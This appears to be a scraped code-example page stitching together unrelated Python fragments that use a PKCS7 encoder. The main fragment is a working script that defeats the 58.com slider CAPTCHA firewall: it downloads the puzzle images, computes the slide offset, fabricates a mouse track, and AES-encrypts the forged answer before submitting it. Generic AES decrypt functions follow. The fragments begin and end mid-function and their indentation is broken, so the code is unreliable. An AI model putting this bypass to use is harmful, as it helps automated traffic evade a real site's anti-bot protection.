		cipher = aes.encrypt(pad_text)
		enc_cipher = base64.b64encode(cipher)
		print enc_cipher
		return enc_cipher
Exemple #28
0
def main():
    #从页面获取所需参数 保存验证码图片到本地
    url_getvalue = "http://callback.58.com/firewall/valid/2015689362.do?namespace=zufanglistphp&url=weishanjn.58.com%2fzufang%2f0%2f%3fsort%3dtime%26amp%3bsort_hack%3d1"  #滑动验证码页面
    r = session.get(url_getvalue, timeout=60)
    selector = etree.HTML(r.text)
    uuid = selector.xpath("//input[@id='uuid']/@value")
    ip = selector.xpath("//input[@id='ip']/@value")
    if not uuid or not ip:
        print("未获取到参数")
        return
    url_getsid = f"http://callback.58.com//firewall/code/{ip[0]}/{uuid[0]}.do?{get_timestamp()}"
    r = session.get(url_getsid, timeout=60)
    sessionid = r.json()["data"]["sessionId"]
    url_getcaptcha = f"http://verifycode.58.com/captcha/getV3?callback=jQuery{get_timestamp()}_{get_timestamp()}&showType=win&sessionId={sessionid}&_={get_timestamp()}"
    r = session.get(url_getcaptcha, timeout=60)
    # jQuery1101043148205441808063_1526882096877({"message":"成功","data":{"responseId":"c1393e0f17f54cc0bb9e1c06e9ffde64","level":310,"status":0,"puzzleImgUrl":"/captcha/captcha_img?rid=c1393e0f17f54cc0bb9e1c06e9ffde64&it=_puzzle","tip":"请点击并将滑块拖动到指定位置","bgImgUrl":"/captcha/captcha_img?rid=c1393e0f17f54cc0bb9e1c06e9ffde64&it=_big"},"code":0})
    responseid = re.search(r'"responseId":"(?P<id>\S+?)"', r.text).group("id")
    callback = re.match(r'jQuery\d+_\d+', r.text).group()
    puzzleimgurl = re.search(r'"puzzleImgUrl":"(?P<url>\S+?)"',
                             r.text).group("url")  #96x270
    bigimgurl = re.search(r'"bgImgUrl":"(?P<url>\S+?)"',
                          r.text).group("url")  #480x270
    puzzleimgname, bigimgname = f"{responseid}_puzzle", f"{responseid}_big"
    download_img([puzzleimgurl, bigimgurl], [puzzleimgname, bigimgname])
    #获取滑动距离并构造鼠标轨迹
    sildeoffset = validate_image.get_offset(bigpath=bigimgname + '.jpg',
                                            puzzlepath=puzzleimgname + '.jpg')
    track = build_track(sildeoffset)
    if not track:
        return
    data = '{"x":"%s","track":"%s","p":"0,0"}' % (sildeoffset, track)
    key = responseid[:16].encode("utf-8")
    cipher = AES.new(key=key, mode=AES.MODE_CBC, IV=key)
    postdata = str(b2a_hex(
        cipher.encrypt(PKCS7Encoder(16).encode(data).encode('utf-8'))).upper(),
                   encoding="utf-8")
    r = session.get(
        f"http://verifycode.58.com/captcha/checkV3?callback={callback}&responseId={responseid}&sessionId={sessionid}&data={postdata}&_={get_timestamp()}",
        timeout=90)
    print(r.text)
    return "成功" in r.text
    def decrypt(self, encrypted_text):
        encrypted_text_bytes = binascii.a2b_base64(encrypted_text)

        # Remove "Salt__"
        encrypted_text_bytes = encrypted_text_bytes[8:]

        # Get and remove salt
        salt = encrypted_text_bytes[:8]
        encrypted_text_bytes = encrypted_text_bytes[8:]

        resp = self.evpKDF(self.key, salt, key_size=12)
        key = resp.get("key")
        iv = key[len(key)-16:]
        key = key[:len(key)-16]

        aes = AES.new(key, MODE, iv)
        decrypted_text = aes.decrypt(encrypted_text_bytes)
        encoder = PKCS7Encoder()
        unpad_text = encoder.decode(decrypted_text.decode('utf-8'))

        return unpad_text
def decrypt(passphrase, encrypted_text):
    encrypted_text_bytes = base64.b64decode(encrypted_text)

    # Remove "Salt__"
    encrypted_text_bytes = encrypted_text_bytes[8:]

    # Get and remove salt
    salt = encrypted_text_bytes[:8]
    encrypted_text_bytes = encrypted_text_bytes[8:]

    resp = evpKDF(passphrase, salt, key_size=12)
    key = resp.get("key")
    iv = key[len(key) - 16:]
    key = key[:len(key) - 16]

    aes = AES.new(key, MODE, iv)
    decrypted_text = aes.decrypt(encrypted_text_bytes)
    encoder = PKCS7Encoder()
    unpad_text = encoder.decode(decrypted_text)

    return unpad_text.decode("utf-8")